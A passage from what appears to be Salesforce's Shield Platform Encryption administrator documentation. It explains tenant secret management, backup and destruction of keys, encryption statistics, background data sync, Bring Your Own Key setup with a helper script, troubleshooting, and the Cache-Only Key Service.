<td>Analytics</td>
<td>24 hours</td>
<td>4 hours</td>
</tr>
<tr>
<td>Search Index</td>
<td>7 days</td>
<td>7 days</td>
</tr>
<tr>
<td>Event Bus</td>
<td>7 days</td>
<td>7 days</td>
</tr>
</tbody>
</table>

The key derivation function uses a master secret, which is rotated with each major Salesforce release. Master secret rotation doesn’t impact your encryption keys or your encrypted data until you rotate your tenant secret.

1. From Setup, in the Quick Find box, enter *Platform Encryption*, and then select **Key Management**.
2. From the Choose Tenant Secret Type dropdown, choose a data type.
3. Check the status of the data type’s tenant secrets. Existing tenant secrets are listed as active, archived, or destroyed.
   - **Active**
     - Can be used to encrypt and decrypt new or existing data.
   - **Archived**
     - Can’t encrypt new data. Can be used to decrypt data previously encrypted with this key when it was active.
   - **Destroyed**
     - Can’t encrypt or decrypt data. Data encrypted with this key when it was active can no longer be decrypted. Files and attachments encrypted with this key can no longer be downloaded.
4. Click **Generate New Tenant Secret** or **Bring Your Own Key**. If uploading a customer-supplied tenant secret, upload your encrypted tenant secret and tenant secret hash.

**Note:** You can have up to 50 active and archived tenant secrets of each type. For example, you can have one active and 49 archived Data in Salesforce tenant secrets, and the same number of Analytics tenant secrets. This limit includes Salesforce-generated and customer-supplied key material.

If you run into this limit, destroy an existing key before reactivating, rearchiving, or creating a callout to another one. Before destroying a key, synchronize the data it encrypts with an active key.
5. If you want to re-encrypt field values with your active key material, synchronize new and existing encrypted data under your most recent and keys. You can sync data from the Encryption Statistics and Data Sync page in Setup.

Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?

Back Up Your Tenant Secrets

Your Shield Platform Encryption tenant secret is unique to your org and to the specific data to which it applies. Salesforce recommends that you export your tenant secret to ensure continued access to the related data.

1. From Setup, in the Quick Find box, enter Platform Encryption, and then select Key Management.

2. In the table that lists your keys, find the tenant secret you want to back up. Click Export.

3. Confirm your choice in the warning box, then save your exported file.

   The file name is tenant-secret-org-<organization ID>-ver-<tenant secret version number>.txt. For example, tenant-secret-org-00DD00000007eTR-ver-1.txt.

4. Note the specific version you’re exporting, and give the exported file a meaningful name. Store the file in a safe location so you can import it back into your org if needed.

   Note: Your exported tenant secret is itself encrypted.

Remember that exported key material is a copy of the key material in your org. To import an exported tenant secret, first destroy the original in your org. See Destroy a Tenant Secret on page 141.

Get Statistics About Your Encryption Coverage

The Encryption Statistics page provides an overview of all data encrypted with Shield Platform Encryption. This information helps you to stay on top of your key rotation and management tasks. You can also use encryption statistics to identify which objects and fields you may want to update after you rotate your key material.

IN THIS SECTION:

Gather Encryption Statistics

The Encryption Statistics and Data Sync page shows you how much of your data is encrypted by Shield Platform Encryption, and how much of that data is encrypted by active key material. Use this information to inform your key rotation actions and timelines. You can also use the Encryption Statistics page to collect information about the fields and objects you want to synchronize with the background encryption service.
Interpret and Use Encryption Statistics

The Encryption Statistics page offers a snapshot of your encrypted data. You can use the information to help make informed decisions about managing your encrypted data.

Gather Encryption Statistics

The Encryption Statistics and Data Sync page shows you how much of your data is encrypted by Shield Platform Encryption, and how much of that data is encrypted by active key material. Use this information to inform your key rotation actions and timelines. You can also use the Encryption Statistics page to collect information about the fields and objects you want to synchronize with the background encryption service.

1. From Setup, in the Quick Find box, enter Platform Encryption, and then select Encryption Statistics.
2. Select an object type or custom object from the left pane. If you see a "--" in the Data Encrypted or Uses Active Key columns, you haven’t gathered statistics for that object yet.
3. Click Gather Statistics.

The gathering process time varies depending on how much data you have in your object. You’re notified by email when the gathering process is finished. When your statistics are gathered, the page shows updated information about data for each object. If encryption for field history and feed tracking is turned on, you also see stats about encrypted field history and feed tracking changes.

Note:
- You can gather statistics once every 24 hours, either by clicking Gather Statistics or running the self-service background encryption service.
Feed Item doesn’t display statistics because it’s derived from Feed Post. Gathering statistics for Feed Post is sufficient to confirm the encryption status of both Feed Post and Feed Item.

**Interpret and Use Encryption Statistics**

The Encryption Statistics page offers a snapshot of your encrypted data. You can use the information to help make informed decisions about managing your encrypted data.


Available in both Salesforce Classic and Lightning Experience.

The page offers two views of your encrypted data: a summary view and a detail view.

**Encryption Summary View**

The Encryption Summary View lists all your objects that contain encrypted data, and statistics about the encrypted data in those objects.

<table>
<thead>
<tr>
<th>Object</th>
<th>Data Encrypted</th>
<th>Uses Active Key</th>
<th>Sync Needed</th>
</tr>
</thead>
<tbody>
<tr>
<td>Account</td>
<td>50%</td>
<td>50%</td>
<td>Yes</td>
</tr>
<tr>
<td>Case</td>
<td>100%</td>
<td>100%</td>
<td>No</td>
</tr>
<tr>
<td>Contact</td>
<td>93%</td>
<td>93%</td>
<td>Yes</td>
</tr>
<tr>
<td>Lead</td>
<td>25%</td>
<td>25%</td>
<td>Yes</td>
</tr>
<tr>
<td>Opportunity</td>
<td>--</td>
<td>--</td>
<td>Yes</td>
</tr>
<tr>
<td>Attachment</td>
<td>--</td>
<td>--</td>
<td>Yes</td>
</tr>
</tbody>
</table>

- **Object**—Lists your standard and custom objects. Data about standard objects are aggregated for all standard objects of a given type. Data about custom objects are listed for each custom object.
- **Data Encrypted**—The total percentage of data in an object that’s encrypted. In the example above, 50% of all data in Account objects are encrypted.
- **Uses Active Key**—The percentage of your encrypted data in that object or object type that is encrypted with your active key material.
- **Sync Needed**—Recommends whether to synchronize your data with the background encryption service. This column displays Yes when you’ve added or disabled encryption on fields, changed a field’s encryption scheme, or rotated key material.

When the numbers in both Data Encrypted and Uses Active Key columns are the same, and Sync Needed column reads No, all your encrypted data is synchronized. In the example above, the Case object is synchronized.

Sometimes the Sync Needed column reads Yes for an object when the Encrypted Data and Uses Active Key columns read have the same values. This combination of values happens when encryption policy settings or keys have changed since the last time you gathered statistics or synchronized your data. This combination also happens when statistics have been gathered for newly encrypted data, but the object has never been synchronized. In the example above, the Account, Contact, Lead, and Opportunity objects meet one or more of these conditions.

A double dash (--) means that statistics haven’t been gathered for that object or object type yet. In the example, statistics haven’t been gathered for the Opportunity and Attachment objects.
Encryption Detail View

The Encryption Detail View shows statistics about the field and historical data stored in each object category. If encryption for field history and feed tracking is turned on, you can also view stats about encrypted field history and feed tracking changes.

**Fields**

The Fields tab displays data about field data in each object.

- **Field**—All encryptable standard and custom fields in the object that contain data.

  **Note:** Not all field data is stored in the same field that displays data in the UI. For example, some Person Account field data is stored in the corresponding Contact fields. If you have Person Accounts enabled but don’t see encrypted fields under the Account detail view, gather statistics for the Contact object and check there.

  Similarly, Chatter data is stored in the Feed Attachment, Feed Comment, Feed Poll Choice, Feed Post, and Feed Revision objects. The Encryption Statistics page lists these objects and all fields that hold encrypted Chatter data in the database. Some fields listed on the Encryption Statistics page aren’t visible in the UI by the same name, but they store all encrypted data that’s visible in the UI. See Which Standard Fields Can I Encrypt? in Salesforce Help for a list of the encrypted Chatter fields.

- **API Name**—The API name for fields that contain data.

- **Encrypted Records**—The number of encrypted values stored in a field type across all objects of given type. For example, you select the Account object and see “9” in the Encrypted Records column next to Account Name. That means there are nine encrypted records across all Account Name fields.

- **Unencrypted Records**—The number of plaintext values stored in a field type.

- **Mixed Tenant Secret Status**—Indicates whether a mixture of active and archived tenant secrets apply to encrypted data in a field type.

- **Mixed Schemes**—Indicates whether a mixture of deterministic and probabilistic encryption schemes apply to encrypted data in a field type.

  **Note:** The following applies to both encrypted and unencrypted records:

  - The records count for a field doesn’t include NULL or BLANK values. A field with NULL or BLANK values can show a different (smaller) records count than the actual number of records.
  - The records count for compound fields such as Contact.Name or Contact.Address can show a different (larger) records count than the actual number of records. The count includes the two or more fields that are counted for every record.

**History**

The History tab shows data about field history and feed tracking changes.

- **Field**—All encryptable standard and custom fields in the object that contain data.

- **API Name**—The API name for fields that contain data.

- **Encrypted Field History**—The number of encrypted field history values for a field type across all objects of a given type. For example, you select the Account object and see “2” in the Encrypted Field History column for Account Name, which means that Account Name has two encrypted field history values.

- **Unencrypted Field History**—The number of plaintext field history values stored for a field.

- **Encrypted Feed Tracking**—The number of encrypted feed tracking values stored for a field.

- **Unencrypted Feed Tracking**—The number of plaintext feed tracking values stored for a field.

**Usage Best Practices**

Use these statistics to make informed decisions about your key management tasks.
• Update encryption policies—The encryption statistics detail view shows you which fields in an object contain encrypted data. Use this information to periodically evaluate whether your encryption policies match your organization’s encryption strategy.

• Rotate keys—You might want to encrypt all your data with your active key material. Review the encryption summary pane on the left side of the page. If the Uses Active Key value is lower than the Data Encrypted value, some of your data uses archived key material. To synchronize your data, click the Sync button or contact Salesforce Customer Support.

• Synchronize data—Key rotation is an important part of any encryption strategy. When you rotate your key material, apply the active key material to existing data. To synchronize your data with your active key, click the Sync button.

If self-service background encryption is unavailable, review the Uses Active Key and Mixed Tenant Secret Status columns to identify any fields that include data encrypted with an archived key. Make a note of these objects and fields, then contact Salesforce Customer Support to request the background encryption service. Salesforce Customer Support can focus just on those objects and fields you want to synchronize, keeping the background encryption process as short as possible.

Synchronize Your Data Encryption with the Background Encryption Service

Periodically, you change your encryption policy. Or you rotate your keys. To get the most protection out of your encryption strategy with Shield Platform Encryption, synchronize new and existing encrypted data under your most recent encryption policy and keys. You can do this yourself or ask Salesforce for help.

When a change occurs, you have options for keeping your encryption policy up to date. You can synchronize most standard and custom field data yourself from the Encryption Statistics and Data Sync page in Setup. For all other data, Salesforce is here to help ensure data alignment with your latest encryption policy and tenant secret.

When We Do and Don’t Automatically Encrypt Your Data

• When you turn on encryption for specific fields or other data, newly created and edited data are automatically encrypted with the most recent key.

• Data that’s already in your org doesn’t automatically get encrypted. Our background encryption service takes care of that on request.

• When you change your tenant secret as part of your key rotation strategy, data that’s already encrypted remains encrypted with the old tenant secret. Our background encryption service can update it on request. And don’t worry, you always have access to your data as long as you don’t destroy the old, archived keys.

• If you turn off encryption, data that’s already there is automatically decrypted based on the relevant key. Any functionality impacted by having encrypted data is restored.

• If Salesforce support re-encrypts your data with a new key, any data that was encrypted with the destroyed key is skipped. To access data encrypted with a destroyed key, import a backup of the destroyed key.

Note: Synchronizing your data encryption doesn’t modify the record LastModifiedDate or LastModifiedById timestamps. It doesn’t execute triggers, validation rules, workflow rules, or any other automated service. However, it does modify the SystemModStamp.

What You Can Synchronize Yourself

You can synchronize most encrypted data yourself from the Encryption Statistics page in Setup. Self-service background encryption synchronizes:

• Standard and custom fields

• The Attachment—Content Body field

• Field history and feed tracking changes when the Encrypt Field History and Feed Tracking Values setting is turned on

Read more about self-service background encryption on page 140, and its considerations on page 172, in Salesforce Help.
How to Request Background Encryption Service from Salesforce Customer Support

If you can’t sync data yourself, contact Salesforce Customer Support for help. Keep these tips in mind when asking for help with syncing your data.

Allow lead time
Contact Salesforce support 2–3 business days before you need the background encryption completed. The time to complete the process varies based on the volume of data. It could take several days.

Specify the data
Provide the list of objects, field names, and data elements you want encrypted or re-encrypted.

Verify the list
Verify that this list matches what’s encrypted in Setup:
- Data elements selected on the Encryption Policy page
- Standard fields selected on the Encrypt Standard Fields page
- Custom fields you selected for encryption on the Field Definition page

Tip: Also check that your field values aren’t too long for encryption.

Include files and attachments?
Encryption for files and attachments is all or nothing. You don’t have to specify which ones.

Include history and feed data?
Specify whether you want the corresponding field history and feed data encrypted.

Choose a time
Salesforce Customer Support can run the background encryption service Monday through Friday between 6 AM and 5 PM in your time zone.

Tip: If you’re not sure which data is already encrypted, visit the Encryption Statistics page, which keeps a record of all fields that you have encrypted.

What If You Destroyed Your Key?
If your encryption key has been destroyed, your data can’t be automatically decrypted. You have some options for handling this data.

- Reimport the destroyed key from a backup, then ask Salesforce Customer Support to synchronize your data with your encryption policy.
- Delete all the data that was encrypted with the destroyed key, then ask Salesforce Customer Support to synchronize your data.
- Ask Salesforce Customer Support to mass overwrite the data that was encrypted with the destroyed key with “?????”.

Note: Keep these points in mind when disabling encryption on data encrypted with destroyed material.
- When you disable encryption for files that were encrypted with a key that’s been destroyed, the files don’t automatically go away. You can ask Salesforce support to delete the files.
- The automatic decryption process takes longer when you disable encryption on fields encrypted with a key that’s been destroyed. Salesforce notifies you by email when the process finishes.
IN THIS SECTION:

Sync Data with Self-Service Background Encryption

Synchronizing your data with your active key material keeps your encryption policy up to date. You can sync data in standard and custom fields, the Attachment—Content Body field, and for field history and feed tracking changes from the Encryption Statistics and Data Sync page in Setup. To synchronize all other encrypted data, contact Salesforce Customer Support.

Sync Data with Self-Service Background Encryption

Synchronizing your data with your active key material keeps your encryption policy up to date. You can sync data in standard and custom fields, the Attachment—Content Body field, and for field history and feed tracking changes from the Encryption Statistics and Data Sync page in Setup. To synchronize all other encrypted data, contact Salesforce Customer Support.

Self-service background encryption supports all standard and custom fields, the Attachment—Content Body field, and field history and feed tracking changes. For help synchronizing other encrypted data, contact Salesforce Customer Support.

To include field history and feed tracking values in self-service background encryption processes, first turn on Encrypt Field History and Feed Tracking Values on the Advanced Settings page. You can also enable field history and feed tracking encryption programmatically with the PlatformEncryptionSettings metadata type. When this setting is turned on, the self-service background encryption process applies your active key material to your field history and feed tracking values.

1. From Setup, in the Quick Find box, enter Platform Encryption, and then select Encryption Statistics.

2. Select an object type or custom object from the left pane.

   ▶ Note: The Sync Needed column indicates whether you need to synchronize your data. This column displays Yes when you add or disable encryption on fields, rotate key material, or change a field’s encryption scheme.

3. Click Sync.

   Supported standard and custom fields are encrypted with your active key material and encryption policy in the background. After the service syncs your data, it gathers statistics for the object. To view your gathered statistics, wait for your verification email and then refresh the Encryption Statistics and Data Sync page.

   ▶ Note: The sync process time varies depending on how much data you have in your object. You’re notified by email when the sync process is finished. You can sync your data from the Encryption Statistics and Data Sync page once every 7 days.

   If you have lots of data in Attachment—Content Body fields, the sync process breaks your request into batches and syncs them in sequence. However, sometimes we can’t encrypt all these batches at once. This is a service protection that helps Salesforce maintain functional network loads. If the sync process finishes but the encryption statistics status is less than 100% complete, click Sync again. The background encryption service picks up where it left off.
Destroy Key Material

Only destroy Shield Platform Encryption tenant secrets and key material in extreme cases where access to related data is no longer needed. Your key material is unique to your org and to the specific data to which it applies. Once you destroy key material, related data is not accessible unless you import previously exported key material.

You are solely responsible for making sure that your data and key material are backed up and stored in a safe place. Salesforce can’t help you with deleted, destroyed, or misplaced tenant secrets and keys.

1. From Setup, in the Quick Find box, enter Platform Encryption, and then select Key Management.
2. In the table that lists your tenant secrets, find the row that contains the one you want to destroy. Click Destroy.
3. A warning box appears. Type in the text as shown and select the checkbox acknowledging that you’re destroying a tenant secret, then click Destroy. After you destroy the key that encrypted the content, file previews and content that was already cached in the user’s browser may still be visible in cleartext. When the user logs in again, the cached content is removed.
4. To import your tenant secret, click Import > Choose File and select your file. Make sure you’re importing the correct version of the tenant secret.

Note: This page is about Shield Platform Encryption, not Classic Encryption. What’s the difference?

Require Multi-Factor Authentication for Key Management

Multi-factor authentication (MFA) is a powerful tool for securing access to data and resources. Salesforce requires the use of MFA for all logins to your org’s user interface. In addition, you can add extra security by also requiring MFA for Shield Platform Encryption key management tasks like generating, rotating, or uploading key material and certificates.

Important: Make sure that you provide security administrators a way to get a time-based, one-time password. This password is their second authentication factor (in addition to their Salesforce username and password). Otherwise, they can’t complete encryption key-related tasks.

1. From Setup, in the Quick Find box, enter Identity Verification, and then select Identity Verification.
2. Select Raise session to high-assurance from the Manage Encryption Keys dropdown. All admins with the Manage Encryption Keys permission must use an additional verification method to complete key management tasks through Setup and the API.

Editions


Available in both Salesforce Classic and Lightning Experience.

User Permissions

To generate, destroy, export, import, upload, and configure tenant secrets and customer-supplied key material:
- Manage Encryption Keys
Bring Your Own Key (BYOK)

When you supply your own tenant secret, you get the benefits built-in to Salesforce Shield Platform Encryption, plus the extra assurance that comes from exclusively managing your tenant secret.

Controlling your own tenant secret entails contacting Salesforce Customer Support to enable Bring Your Own Keys, generating a BYOK-compatible certificate, using that certificate to encrypt and secure your self-generated tenant secret, then granting the Salesforce Shield Platform Encryption key management machinery access to your tenant secret.

IN THIS SECTION:

1. **Bring Your Own Key Overview**
   - Yes. You can generate and store your customer-supplied key material outside of Salesforce using your own crypto libraries, enterprise key management system, or hardware security module (HSM). You then grant the Salesforce Shield Platform Encryption key management machinery access to those keys. You can choose to encrypt your keys with a public key from a self-signed or CA-signed certificate.

2. **Generate a BYOK-Compatible Certificate**
   - To encrypt data in Salesforce with Bring Your Own Key (BYOK) key material, use Salesforce to generate a 4096-bit RSA certificate. You can generate a self-signed or certificate-authority (CA) signed certificate. Each BYOK-compatible certificate’s private key is encrypted with a derived, org-specific tenant secret key.

3. **Generate and Wrap BYOK Key Material**
   - Generate a random number as your BYOK tenant secret. Then calculate an SHA256 hash of the secret, and encrypt it with the public key from the BYOK-compatible certificate you generated.

4. **Sample Script for Generating a BYOK Tenant Secret**
   - We’ve provided a helper script that may be handy for preparing your tenant secret for upload. The script generates a random number as your tenant secret, calculates an SHA256 hash of the secret, and uses the public key from the certificate to encrypt the secret.

5. **Upload Your BYOK Tenant Secret**
   - After you have your BYOK-compatible tenant secret, upload it to Salesforce. The Shield Key Management Service (KMS) uses your tenant secret to derive your org-specific data encryption key.

6. **Opt-Out of Key Derivation with BYOK**
   - If you don’t want Shield Platform Encryption to derive a data encryption key for you, you can opt out of key derivation and upload your own final data encryption key. Opting out gives you even more control of the key material used to encrypt and decrypt your data.

7. **Take Good Care of Your BYOK Keys**
   - When you create and store your own key material outside of Salesforce, it’s important that you safeguard that key material. Make sure that you have a trustworthy place to archive your key material; never save a tenant secret or data encryption key on a hard drive without a backup.

8. **Troubleshooting Bring Your Own Key**
   - One or more of these frequently asked questions may help you troubleshoot any problems that arise with Shield Platform Encryption’s Bring Your Own Key service.
Bring Your Own Key Overview

Yes. You can generate and store your customer-supplied key material outside of Salesforce using your own crypto libraries, enterprise key management system, or hardware security module (HSM). You then grant the Salesforce Shield Platform Encryption key management machinery access to those keys. You can choose to encrypt your keys with a public key from a self-signed or CA-signed certificate.

To work with our key management machinery, your customer-supplied key material must meet these specifications:

- 256-bit size
- Encrypted with a public RSA key that is extracted from the downloaded BYOK certificate, then padded using OAEP padding
- After it’s encrypted, it must be encoded in standard base64

To work with encryption keys, you need the Manage Encryption Keys permission. To generate BYOK-compatible certificates, you need the Customize Application permission.
Generate a BYOK-Compatible Certificate

To encrypt data in Salesforce with Bring Your Own Key (BYOK) key material, use Salesforce to generate a 4096-bit RSA certificate. You can generate a self-signed or certificate-authority (CA) signed certificate. Each BYOK-compatible certificate’s private key is encrypted with a derived, org-specific tenant secret key.

To create a self-signed certificate:

1. From Setup, in the Quick Find box, enter Platform Encryption, and then select Key Management.
2. Click Bring Your Own Key.
3. Click Create Self-Signed Certificate.
4. Enter a unique name for your certificate in the Label field. The Unique Name field automatically assigns a name based on what you enter in the Label field.

The Exportable Private Key (1), Key Size (2), and Use Platform Encryption (3) settings are pre-set. These settings ensure that your self-signed certificate is compatible with Salesforce Shield Platform Encryption.

5. When the Certificate and Key Detail page appears, click Download Certificate.

If you’re not sure whether a self-signed or CA-signed certificate is right for you, consult your organization’s security policy. See Certificates and Keys in Salesforce Help for more about what each option implies.

To create a CA-signed certificate, follow the instructions in the Generate a Certificate Signed By a Certificate Authority topic in Salesforce Help. Remember to manually change the Exportable Private Key, Key Size, and Platform Encryption settings to ensure that your certificate is BYOK-compatible.
Generate and Wrap BYOK Key Material

Generate a random number as your BYOK tenant secret. Then calculate an SHA256 hash of the secret, and encrypt it with the public key from the BYOK-compatible certificate you generated.

1. Generate a 256-bit tenant secret using the method of your choice.
   You can generate your tenant secret in one of 2 ways:
   - Use your own on-premises resources to generate a tenant secret programmatically, using an open-source library such as Bouncy Castle or OpenSSL.
     Tip: We’ve provided a script on page 145 that may be useful as a guide to the process.
   - Use a key brokering partner that can generate, secure, and share access to your tenant secret.

2. Wrap your tenant secret with the public key from the BYOK-compatible certificate you generated, using the default SHA1 padding algorithm.
   Specify the OAEP padding scheme. Make sure the resulting encrypted tenant secret and hashed tenant secret files are encoded using base64.

3. Encode this encrypted tenant secret to base64.

4. Calculate an SHA-256 hash of the plaintext tenant secret.

5. Encode the SHA-256 hash of the plaintext tenant secret to base64.

Sample Script for Generating a BYOK Tenant Secret

We’ve provided a helper script that may be handy for preparing your tenant secret for upload. The script generates a random number as your tenant secret, calculates an SHA256 hash of the secret, and uses the public key from the certificate to encrypt the secret.

1. Download the script from the Salesforce Knowledge Base. Save it in the same directory as the certificate.

2. Run the script specifying the certificate name, like this: `./secretgen.sh my_certificate.crt`
   Replace this certificate name with the actual filename of the certificate you downloaded.

   Tip: If needed, use `chmod +w secretgen.sh` to make sure that you have write permission to the file and use `chmod 775` to make it executable.

3. The script generates several files. Look for the two files that end with the .b64 suffix. The files ending in .b64 are your base 64-encoded encrypted tenant secret and base 64-encoded hash of the plaintext tenant secret. You’ll need both of these files for the next step.
Upload Your BYOK Tenant Secret

After you have your BYOK-compatible tenant secret, upload it to Salesforce. The Shield Key Management Service (KMS) uses your tenant secret to derive your org-specific data encryption key.

1. From Setup, in the Quick Find box, enter Platform Encryption, and then select Key Management.
2. Click Bring Your Own Key.
3. In the Upload Tenant Secret section, attach both the encrypted key material and the hashed plaintext key material. Click Upload.

This tenant secret automatically becomes the active tenant secret.

Your tenant secret is now ready to be used for key derivation. From here on, the Shield KMS uses your tenant secret to derive an org-specific data encryption key. The app server then uses this key to encrypt and decrypt your users’ data.

If you don’t want Salesforce to derive a data encryption key for you, you can opt out of key derivation and upload your own final data encryption key. For more information, see “Opt-Out of Key Derivation with BYOK” in Salesforce Help.

Note: You can have up to 50 active and archived tenant secrets of each type. For example, you can have one active and 49 archived Data in Salesforce tenant secrets, and the same number of Analytics tenant secrets. This limit includes Salesforce-generated and customer-supplied key material.

If you reach the limit, destroy an existing key before reactivating, rearchiving, or creating a callout to another one. Before destroying a key, synchronize the data that it encrypts with an active key.

4. Export your tenant secret, and back it up as prescribed in your organization’s security policy.

To restore a destroyed tenant secret, reimport it. The exported tenant secret is different from the tenant secret you uploaded. It’s encrypted with a different key and has additional metadata embedded in it. See Back Up Your Tenant Secret in Salesforce Help.

Note: This page is about Shield Platform Encryption, not Classic Encryption. What’s the difference?
Opt-Out of Key Derivation with BYOK

If you don’t want Shield Platform Encryption to derive a data encryption key for you, you can opt out of key derivation and upload your own final data encryption key. Opting out gives you even more control of the key material used to encrypt and decrypt your data.

Generate your customer-supplied data encryption key using a method of your choice. Then calculate an SHA256 hash of the key, and encrypt it with the public key from a BYOK-compatible certificate. See Upload Your BYOK Tenant Secret for details about how to prepare customer-supplied key material.

1. Make sure that your org has the Bring Your Own Keys feature enabled. To enable this feature, contact Salesforce Customer Support.
2. From Setup, in the Quick Find box, enter Platform Encryption, and then select Advanced Settings.
3. Enable Allow BYOK to Opt-Out of Key Derivation.
   You can also enable the Allow BYOK to Opt-Out of Key Derivation setting programmatically. For more information, see EncryptionKeySettings in the Metadata API Developer Guide.
   You can now opt out of key derivation when you upload key material.
4. From Setup, in the Quick Find box, enter Platform Encryption, and then select Key Management.
5. Click Bring Your Own Key.
6. Deselect Use Salesforce key derivation.

7. In the Upload Tenant Secret section, attach both your encrypted data encryption key and your hashed plaintext data encryption key.
8. Click Upload.
   This data encryption key automatically becomes the active key.

From now on, the Shield Key Management Service (KMS) skips the derivation process and uses your data encryption key to directly encrypt and decrypt your data. You can review the derivation status of all key material on the Key Management page.
9. Export your data encryption key and back it up as prescribed in your organization’s security policy.

   To restore your data encryption key, reimport it. The exported data encryption key is different from the data encryption key you uploaded. It is encrypted with a different key and has additional metadata embedded in it. See Back Up Your Tenant Secret in Salesforce Help.

   Note: This page is about Shield Platform Encryption, not Classic Encryption. What’s the difference?

Take Good Care of Your BYOK Keys

When you create and store your own key material outside of Salesforce, it’s important that you safeguard that key material. Make sure that you have a trustworthy place to archive your key material; never save a tenant secret or data encryption key on a hard drive without a backup.

Back up all imported key material after you upload them to Salesforce. This ensures that you have copies of your active key material. See Back Up Your Tenant Secret in Salesforce Help.

Review your company policy on key rotation. You can rotate and update your keys on your own schedule. See Rotate Your Encryption Keys.

   Important: If you accidentally destroy a tenant secret that isn’t backed up, Salesforce won’t be able to help you retrieve it.

Troubleshooting Bring Your Own Key

One or more of these frequently asked questions may help you troubleshoot any problems that arise with Shield Platform Encryption’s Bring Your Own Key service.

I’m trying to use the script you provide, but it won’t run.

   Make sure that you are running the right script for your operating system. If you are working on a Windows machine, you can install a Linux emulator and use the Linux script. These issues can also prevent the script from running:

   • You don’t have write permission in the folder you’re trying to run the script from. Try running the script from a folder that you have write permission for.
   • The certificate that the script references is missing. Make sure you’ve properly generated the certificate.
   • The certificate is missing or is not being referenced by the correct name. Make sure you’ve entered the correct file name for your certificate in the script.

I want to use the script you provide, but I also want to use my own random number generator.

   The script we provide uses a random number generator to create a random value that is then used as your tenant secret. If you would like to use a different generator, replace `head -c 32 /dev/urandom | tr '\n' =` (or, in the Mac version, `head -c 32 /dev/urandom > $PLAINTEXT_SECRET`) with a command that generates a random number using your preferred generator.

What if I want to use my own hashing process to hash my tenant secret?

   No problem. Just make sure that the result meets these requirements:
• Uses an SHA-256 algorithm.
• Results in a base64 encoded hashed tenant secret.
• Generates the hash of the random number BEFORE encrypting it.

If any of these three criteria aren’t met, you can’t upload your tenant secret.

**How should I encrypt my tenant secret before I upload it to Salesforce?**

If you’re using the script provided, the encryption process is taken care of. If you do not use the script, specify the OAEP padding scheme when you encrypt your tenant secret. Make sure the resulting encrypted tenant secret and hashed tenant secret files are encoded using base64. If either of these criteria are not met, you can’t upload your tenant secret.

If you choose to not use the script provided, follow the instructions in the Generate And Wrap Your Tenant Secret Help topic.

**I can’t upload my Encrypted tenant secret and Hashed tenant secret.**

A handful of errors can prevent your files from uploading. Use the chart to make sure your tenant secrets and certificates are in order.

<table>
<thead>
<tr>
<th>Possible cause</th>
<th>Solution</th>
</tr>
</thead>
<tbody>
<tr>
<td>Your files were generated with an expired certificate.</td>
<td>Check the date on your certificate. If it has expired, you can renew your certificate or use another one.</td>
</tr>
<tr>
<td>Your certificate is not active, or is not a valid Bring Your Own Key certificate.</td>
<td>Ensure that your certificate settings are compatible with the Bring Your Own Key feature. Under the Certificate and Key Edit section of the Certificates page, select a 4096-bit certificate size, disable Exportable Private Key, and enable Platform Encryption.</td>
</tr>
<tr>
<td>You haven’t attached both the encrypted tenant secret and the hashed tenant secret.</td>
<td>Make sure that you attach both the encrypted tenant secret and hashed tenant secret. Both of these files should have a .b64 suffix.</td>
</tr>
<tr>
<td>Your tenant secret or hashed tenant secret wasn’t generated properly.</td>
<td>Several problems can cause this error. Usually, the tenant secret or hashed tenant secret wasn’t generated using the correct SSL parameters. If you are using OpenSSL, you can refer to the script for an example of the correct parameters you should use to generate and hash your tenant secret. If you are using a library other than OpenSSL, check that library’s support page for help with finding the correct parameters to both generate and hash your tenant secret. Still stuck? Contact your Salesforce account executive. They’ll put you in touch with someone at Salesforce who can help.</td>
</tr>
</tbody>
</table>

**I’m still having problems with my key. Who should I talk to?**

If you still have questions, contact your account executive. They’ll put you in touch with a support team specific to this feature.
Cache-Only Key Service

Shield Platform Encryption’s Cache-Only Key Service addresses a unique need for non-persisted key material. You can store your key material outside of Salesforce and have the Cache-Only Key Service fetch your key on demand from a key service that you control. Your key service transmits your key over a secure channel that you configure, and the Cache-Only Key Service uses your key for immediate encrypt and decrypt operations. Salesforce doesn’t retain or persist your cache-only keys in any system of record or backups. You can revoke key material at any time.

IN THIS SECTION:

1. **How Cache-Only Keys Works**
   The Shield Platform Encryption Cache-Only Key Service lets you use a variety of key services to generate, secure, and store your key material. You can use an on-premises key service, host your own cloud-based key service, or use a cloud-based key brokering vendor.

2. **Prerequisites and Terminology for Cache-Only Keys**
   Shield Platform Encryption’s Cache-Only Key Service offers you more control over your key material. When you use cache-only keys, you control more of the key management tasks. Before you start using the service, understand how to create and host your key material in a way that’s compatible with Salesforce’s BYOK service.

3. **Create and Assemble Your Key Material**
   The Shield Platform Encryption Cache-Only Key Service is compatible with 256-bit AES keys returned in a JSON response, and then wrapped using JSON Web Encryption (JWE).

4. **Configure Your Cache-Only Key Callout Connection**
   Use a named credential to specify the endpoint for your callout, and identify the key that you want to fetch from your endpoint.

5. **Add Replay Detection for Cache-Only Keys**
   Replay detection protects your cache-only keys if a callout is fraudulently intercepted. When enabled, replay detection inserts an autogenerated, unique marker called a RequestIdentifier into every callout. The RequestIdentifier includes the key identifier, a nonce generated for that callout instance, and the nonce required from the endpoint. The RequestIdentifier serves as a random, one-time identifier for each valid callout request. Once you set up your key service to accept and return the RequestIdentifier, any callout with missing or mismatched RequestIdentifiers is aborted.

6. **Check Your Cache-Only Key Connection**
   Because your cache-only key material is stored outside of Salesforce, it’s important to maintain a functional callout connection. Use the Callout Check page to monitor your connection and quickly respond to key service interruptions that could prevent the service from fetching your keys.

7. **Destroy a Cache-Only Key**
   When you destroy a cache-only key, you’re destroying two things: the key in the cache, and the callout connection to the key service.

8. **Reactivate a Cache-Only Key**
   If you still have your named credential associated with a key that was destroyed in Salesforce, you can reactivate a destroyed cache-only key from Setup or programmatically through the API. Reactivating a destroyed key makes it the active key. Before you reactivate a destroyed key, make sure that the corresponding key service connection is recovered.

9. **Considerations for Cache-Only Keys**
   These considerations apply to all data that you encrypt using the Shield Platform Encryption Cache-Only Key Service.

10. **Troubleshoot Cache-Only Keys**
    One or more of these frequently asked questions may help you troubleshoot any problems that arise with Shield Platform Encryption’s Cache-Only Key Service.
How Cache-Only Keys Works

The Shield Platform Encryption Cache-Only Key Service lets you use a variety of key services to generate, secure, and store your key material. You can use an on-premises key service, host your own cloud-based key service, or use a cloud-based key brokering vendor.

Figures 1 and 2 show how Salesforce fetches keys on-demand from your specified key service. Whether you store your keys with an on-premises key service or a cloud-based key service, the flow is the same. When users access encrypted data, or add sensitive data to encrypted data elements, the Cache-Only Key Service makes a callout to your key service. Your key service passes key material, wrapped securely in JSON Web Encryption format, through a secure, authenticated channel that you set up.

